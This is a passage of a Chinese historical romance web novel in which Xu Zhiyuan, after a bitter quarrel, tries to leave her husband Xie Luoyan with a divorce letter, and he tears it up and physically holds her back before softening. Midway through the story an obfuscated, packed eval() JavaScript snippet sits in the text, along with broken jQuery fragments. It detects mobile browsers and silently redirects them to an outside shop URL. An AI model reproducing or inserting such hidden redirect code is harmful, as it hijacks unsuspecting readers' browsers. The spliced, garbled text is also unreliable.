谢洛衍微顿,咬牙,“许知鸢,除了这些,你还有什么是骗了我、瞒着我的?”

    少女的指尖冰凉,除了和他相牵的地方尚存几分知觉,身躯几乎僵掉了。

    在谢洛衍心里,她已经成为了一个彻头彻尾的骗子。

    她泄气地想着,破罐子破摔道:“记不清了。”

    “……”

    谢洛衍被她噎得一滞,手腕微微用力,从她掌心里挣脱。

    “你……是不是从始至终,都没有想要真心待我?”

    男人的面色如寒霜,看向她的双眸就像是看着一个陌生人。

    许知鸢的视线又开始变得模糊,她强撑股劲,仰头回道:

    “对。若非圣上赐婚,我根本没想过会嫁给你。你平日里冷得像块木头,不解风情,连哄人的话都不会说,谁会喜欢你这种木头?谁敢掏出真心对你?”

    少女的声音打着颤,睁大双眸,勉强才没让眼泪像方才那般落下来。

    她多希望谢洛衍能在这时抱住她,好好哄她,告诉她,就算她不喜欢他,他也会一如既往地关心她、爱她。

    可现实却是,没有。

    谢洛衍半点没动,甚至不再看她一眼,继续冷声问:

    “这里对你来说,就是囚牢对吗?你待在这里的几个月,都是不快乐的吗?”

    “没错!”

    许知鸢重重点头。

    她都承认自己不开心了,他现在可以过来哄哄她了吧?

    谢洛衍颔首。

    浑身的力气仿佛瞬间被抽走。

    既然他让她这么窒息,那他也无需再留下,免得让她更为厌烦。

    谢洛衍自暴自弃地想着,抬脚,转身往外走。

    许知鸢发现他要离开,心口瞬间被提了起来,明明想把他留下,却故意大声冲他的背影喊道:

    “谢洛衍,你要走就走远些!反正你这么讨人厌,一回来就咄咄逼人,你走了,我正好落得清净!”

    谢洛衍无声叹了口气。

    果然如此。

    许知鸢不喜欢他,甚至很讨厌他。

    少女的目光一直紧紧盯着男人的背影。

    谢洛衍走到木门前,停下了脚步,她立刻放轻呼吸。

    下一刻,他回身走到桌边,解下腰间系好的香囊,将它放到木桌上。

    “之前麻烦你为我这种木头缝制香囊了,现在,物归原主。”

    话毕,男人再没有停留。

    砰——

    木门被重重阖上。

    许知鸢的心,仿佛随着他的离开而破了个大洞,风呼呼吹进来,让她止不住地颤栗。

    他……他竟然把她送他的东西都还了回来?

    谢洛衍这是什么意思?

    许知鸢伫立在原地,目光呆滞地看向眼前紧闭的大门。

    紧接着,她忽而疾步上前,推开门,目光匆匆扫过廊下。

    灯笼高悬,满眼寂寥。

    再没有一个人的身影。

    谢洛衍……真的走了?

    意识到这一点,许知鸢只觉得一瞬间浑身无力,靠着身后的门扉慢慢蹲了下来。

    双臂拢住膝盖,将脑袋埋进腿间。

    原本压抑克制的眼泪,决堤般夺眶而出。

    他怎么能就这么走了?

    许知鸢忍不住埋怨。

    她不就是撒了些谎、买了副药、说了几句重话吗?

    为何他不能接受这样的她,为何他不能哄哄这样的她呢?

    许知鸢并不觉得自己这样的想法有何过分。

    可渐渐的,理智回笼。

    她意识到方才自己的所言所行,实在有些不像她了。

    既然谢洛衍一早便拿到了证据,她再多的辩驳争论自是无用。

    她本应该乖乖认错,利用谢洛衍对她的喜欢,转而勾起他更多的愧疚和怜惜。

    想着想着。

    心底的那股郁结再次涌了上来。

    究其根本,若是谢洛衍当真这么在意子嗣,那侯府,便不再是她可以久留的地方。

    她原是盼着等自己心安后再做下一步打算,可原本平和的局势,一下子便被打破了。

    明明只在侯府待了几个月的时间,可她却头一次觉得好累。

    一旦撕开了那层恩爱的假象,谢洛衍说不定又会如从前那般,很久都不再回来。

    天地宽阔,他有那么多的容身之所。

    可她呢?

    凭什么每一次,都是她留在这里苦苦等待?

    尽管名义上,是谢洛衍先喜欢了她。

    可实际却是,她仍是那个只能守在原地等候的人。

    她没有任何抉择的权利。

    往后就算她诞下子嗣,一旦他移情别恋,也会弃她如敝履。

    既然如此,她为何还要留下呢?

    许知鸢从膝间抬起头,目光移向飘落到地上的那纸和离书。

    -

    乌云掩月,庭院里空无一人。

    自谢洛衍让屋内婢女退下,激烈的争吵声传出门去,原本值守的下人纷纷散去。

    许知鸢抱着匆匆收拾好的包袱,深吸了口气。

    尽管知道自己这举动实在荒唐,可她已顾不得那许多了。

    她一刻也不想在这种苦闷的环境中待下去,她要离开。

    她已经想好了,若是等会儿锦书不愿走,她便将银钱分她一半,应当足够她在京城生活。

    反正锦书已经脱了贱籍,成为了良民。

    就算东窗事发,依谢洛衍的性子,应当也不会为难她。

    许知鸢混乱地想着,刚拐过一道垂花门,身后骤然响起一道冷冽的声音。

    “你要去哪里?”

    她脚步一顿,回过头。

    暗处,一道挺拔的人影缓步走出。

    皎洁的月色堪堪照映出他半边下颌,余下大半张脸都浸在黑暗中。

    虽瞧不清神色,可周身翻涌的戾气,却沉沉压了过来。

    对上男人这可怖的模样,许知鸢好不容易想要出逃的勇气,瞬间便碎了大半。

    她指尖攥紧怀中的包袱,立刻转身。

    刚抬脚,男人便快步追来,大掌攥紧她的手腕,力道大的似要将她捏碎。

    “许知鸢,我问你,你这是要去哪儿?”

    谢洛衍的脸色极差,离开房间后,他原是打算独自静静再回去。

    可就这一会儿的功夫,她竟然连包袱都收拾好了?

    许知鸢猛地甩开他的手,往后退了两步,从包袱里抽出备好的和离书,朝他扬了扬。

    “你看,你不是早就给了我和离书吗?我现在要与你和离,我要离开侯府,再也不碍你的眼了!”

    谢洛衍握紧双拳,咬牙切齿地问:“你这话……是不是不想要我了?”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734872|203565||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    许知鸢迎着他阴鸷的目光,肯定道:“是的,我不要了。”

    话音刚落,她整个人骤然腾了空。

    谢洛衍反手将她打横抱起,双臂像铜墙铁壁,无论她如何挣扎,都无法逃开。

    “你放我下来!谢洛衍!混蛋!”

    “王八蛋!禽兽!你不是人!我讨厌你!”

    “……”

    许知鸢忿然地骂着,可谢洛衍始终冷着张脸,抬脚踹开房门,三两步走到床榻边。

    咚——

    她落回到床榻上。

    谢洛衍轻易便抽出了她手里的和离书。

    撕拉——

    碎纸如雪花纷飞。

    “许知鸢,你是不是想得太天真了?”

    “就算和离书是我亲笔写的又如何?没有报备宗族、官府,根本就无法生效。”

    “你永远会是我的妻,这辈子都逃不出去。”

    谢洛衍站在床榻前,身影完全笼罩了她。

    许知鸢试图起身,却被他按住肩膀,倒在了薄被上。

    “你还缠着我干嘛?”

    她尝试用力掰开他的手。

    “你明知我是个什么样的人,还生我的气,那你就去找别人啊,找那些愿意为你生育子嗣、事事都顺着你、从不会骗你的人就行。”

    谢洛衍闻言,忽而冷笑一声,松开手。

    起身,当着她的面解开自己的衣衫。

    “你想把我推给别人?没门。”

    “许知鸢,我只会要你一个,未来的孩子,也只会有你一个生母。”

    “……”

    许知鸢愣了一下。

    他们不是还在吵架吗?

    他这样说……是什么意思?

    出神的瞬间,熟悉的、带着怒意的亲吻落了下来。

    男人的大掌禁锢着她的腰,另一只手覆在她的后脑勺。

    逃无可逃。

    可想起前不久,他拒绝过她的那个亲吻,许知鸢自是不肯让他如意。

    唇瓣紧闭着,任由他如何舔咬,她都不肯启开半分。

    原以为他会将吻转向别处。

    可谢洛衍却停下了动作,鼻尖轻轻蹭了蹭她,哑声问:

    “我亲你,你会讨厌吗?”

    若还是那副冷漠到让人生厌的态度,许知鸢自是会不甘地回他一句讨厌。

    可此时此刻,两人离得这般近。

    借着烛光,她很容易便瞧见了他眼底的脆弱和乞求。

    她抿了抿唇,没说话。

    从前她这般,谢洛衍便明白,她这是默许。

    可如今,他却有些拿不定主意了。

    心中的不安愈烈,若非他正巧没有走远,是不是这个时辰,她已经离开侯府了?

    一想到这个可能,谢洛衍忍不住将怀中少女抱得更紧。

    埋首在她脖颈间,闻着熟悉的幽香,却还是没法安定。

    在外静思了许久,他已然从许知鸢方才的言语中摸出了几道关键,于是启唇,温声哄道:

    “如果你不愿,其实,可以由我来服用避子汤。”

    “你说的没错,子嗣一事本就最该遵循你的心意。”

    许知鸢愕然地眨了眨眼。

    谢洛衍继续轻抚着她的秀发,大掌滑到脊背,将她拥紧。

    “我今日并非因此同你置气,只是前不久,我去见了一个人。”